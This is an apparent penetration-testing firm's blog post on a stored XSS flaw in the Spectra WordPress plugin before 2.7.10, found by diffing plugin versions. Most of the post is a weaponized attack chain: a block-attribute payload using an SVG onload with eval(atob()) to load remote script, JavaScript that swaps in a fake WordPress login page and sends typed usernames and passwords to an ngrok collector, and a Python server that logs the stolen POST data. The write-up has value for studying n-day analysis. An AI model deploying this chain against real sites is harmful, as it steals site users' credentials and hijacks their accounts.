Skip to main content

We found a vulnerable WordPress plugin that leveraged Spectra during a recent engagement. It was running on a vulnerable version, and the researcher who discovered the CVE put the following:

“This could allow a malicious actor to inject malicious scripts, such as redirects, advertisements, and other HTML payloads into your website which will be executed when guests visit your site. This vulnerability has been fixed in version 2.7.10.”

This provides very little detail, and as such, we must discover the vulnerability for ourselves.

I went ahead and downloaded 2.7.9 and 2.7.10 to compare the versions. A straightforward way to discover “n-day” vulnerabilities is to compare two folders (without using tools such as gitlense or gitkraken – as this project didn’t have a git repository) in Visual Studio Code with the “diff folders” extension.

We can already get a glimpse as to where the XSS vulnerability may lie. We’ll delve into the classes first, as these relate to XSS and are unlikely to have anything to do with the administrative features of the plugin (for the API).

You can see already the ONLY change that exists for the Post Timeline is to escape the attribute ‘headingTag’. It also makes sure that only proper heading tags are provided.

Reviewing the 2nd changed class file ‘class-uagb-post.php’ reveals some changed filtering which forces the allowed html only to have proper headers. I believe that even this class is vulnerable despite the filtering taking place. In WordPress, you want to use the “esc_attr” function instead of the “esc_html” function if you are working with attributes; however, they explicitly define in the patched version what the attributes can be, so this is a non-issue, but still exploitable in the old version.

Finally, for the Taxonomy-list, we can get an excellent idea of what the attributes to this block are. Additionally, we get a further idea of how the title tag is being used, and again, with the previous statement that they are escaping the “titleTag”, but as HTML, not as an attribute. Let’s take a look and try to exploit this in WordPress!

First, we’ll go ahead and create a post and then add a Taxonomy List block:

Excellent. After that, we can go ahead and click Code Editor:

From here, Everything within the curly braces is known as attributes for that block. We’ll go ahead and add the “titleTag” attribute and add our malicious code in.

Save it and now view the page! Our payload should trigger once the page is loaded.

The vulnerable code lies here: They are escaping HTML instead of attributes (the code is highlighted in red), allowing us to append an entire attribute without even having to use a double quote to escape.

<a class="uagb-tax-link" href= "<?php echo esc_url( $link ); ?>">
	<<?php echo esc_html( $titleTag ); ?> class="uagb-tax-title"><?php echo esc_html( $value->name ); ?>
	</<?php echo esc_html( $titleTag ); ?>>
	<?php if ( $showCount ) { ?>
			<?php echo esc_attr( $value->count ); ?>
			<?php $countName = ( $value->count > 1 ) ? esc_attr( $singular_name ) . 's' : esc_attr( $singular_name ); ?>
			<?php echo esc_attr( apply_filters( 'uagb_taxonomy_count_text', $countName, $value->count ) ); ?>
	<?php } ?>
</a>

Now that we understand our injection method and how it is triggered, we can go ahead and get into weaponization. Firstly, we must understand that functions inside attributes, such as “onload”, “onlick”, and “onmouseover” all execute JavaScript. This is why the “alert(1)” works without inputting script tags like you would need to outside an html node. To get around the need for any quotes and simplicity, we’ll use “eval(atob())” to execute an entire base64 encoded JavaScript payload.

{"overallBorderTopWidth":1,"overallBorderLeftWidth":1,"overallBorderRightWidth":1,"overallBorderBottomWidth":1,"overallBorderTopLeftRadius":3,"overallBorderTopRightRadius":3,"overallBorderBottomLeftRadius":3,"overallBorderBottomRightRadius":3,"overallBorderStyle":"solid","overallBorderColor":"#E0E0E0","overallBorderHColor":"#E0E0E0","block_id":"cfa0112c","titleTag":"svg onload=eval(atob(`dmFyIHMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzY3JpcHQiKTsgcy5zcmMgPSAiaHR0cHM6Ly9zY3JpcHQuY29tIjsgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChzKTsK`))"}

We are using backticks to avoid using quotes, as those are typically not filtered. Now, for our actual Script that will get executed in our victim’s browser, I wrote up a script that will replace the page with the WordPress login page with “document.body.innerHTML = response;”, and then inject Event Listeners on the username and password fields. We can manually modify the wp-login.html POST requests for the login functionality, but this should not be needed. Simply replicating the wp-login.php page will suffice.

// load a remote web page
const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://xxxxxx.ngrok.app/wp-login.html', true);
xhr.onreadystatechange = function () {
    if (xhr.readyState === 4) {
        // Get the response and inject it into the page
        const response = xhr.responseText;
        document.body.innerHTML = response;

        // Now that the new HTML is in the DOM, add the event listeners
        const usernameField = document.getElementById('user_login');
        const passwordField = document.getElementById('user_pass');

        usernameField.addEventListener('input', function() {
            window.username = this.value;
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://xxxxxx.ngrok.app/collector.php?username=' + window.username + '&password=' + window.password, true);
            xhr.send(null);
        });

        passwordField.addEventListener('input', function() {
            window.password = this.value;
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'https://xxxxxx.ngrok.app/collector.php?username=' + window.username + '&password=' + window.password, true);
            xhr.send(null);
        });
    }
};
xhr.send(null);

I also use a custom Python server I wrote for handling requests. I typically modify these on a per-engagement basis, but this handles CORs also and adequately redirects the victim back to the original site with the post request, essentially executing the login where it was supposed to go. It also logs all post data and allows for non-traditional mime types. Along with custom fetch requests, if you wanted to obtain a script.js file from your share, you could make it so “index.html?v” would return the JavaScript code to the victim.

#!/usr/bin/env python3
from http.server import HTTPServer, SimpleHTTPRequestHandler, test
from urllib.parse import urlparse, parse_qs
import sys

# Coded by Oracle-Security
# https://github.com/Oracle-Security

class CORSRequestHandler (SimpleHTTPRequestHandler):
    server_version = 'Apache/2.4.57'
    sys_version = ''

    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Server', self.server_version)
        SimpleHTTPRequestHandler.end_headers(self)

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')
        # Log the post_data or perform any other desired actions
        print("Received POST data:", post_data)
        self.send_response(302)
        self.send_header('Location', self.headers['Referer'])
        self.end_headers()

    def do_GET(self):
        parsed_url = urlparse(self.path)
        query_params = parse_qs(parsed_url.query)
        if self.path == '/csrf.html':
            with open('csrf.html', 'rb') as f:
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(f.read())
                return
        if 'v' in query_params and parsed_url.path == '/index.html':
            with open('script.js', 'rb') as f:
                self.send_response(200)
                self.send_header('Content-type', 'application/javascript')
                self.end_headers()
                self.wfile.write(f.read())
        if self.path != '/index.html' and not self.path.endswith('.css') and not self.path.endswith('.png'):
            self.send_response(302)
            self.send_header('Location', '/index.html')
            self.end_headers()
            return
        if self.path == '/':
            self.path = '/index.html'
        if self.path.endswith('.py') or self.path.endswith('.log'):
            self.send_error(403, "Forbidden")
            return
        else:
            SimpleHTTPRequestHandler.do_GET(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer, port=int(sys.argv[1]) if len(sys.argv) > 1 else 9999)

 

Speak with a Logically Expert Today!

Security Assessment banner CTA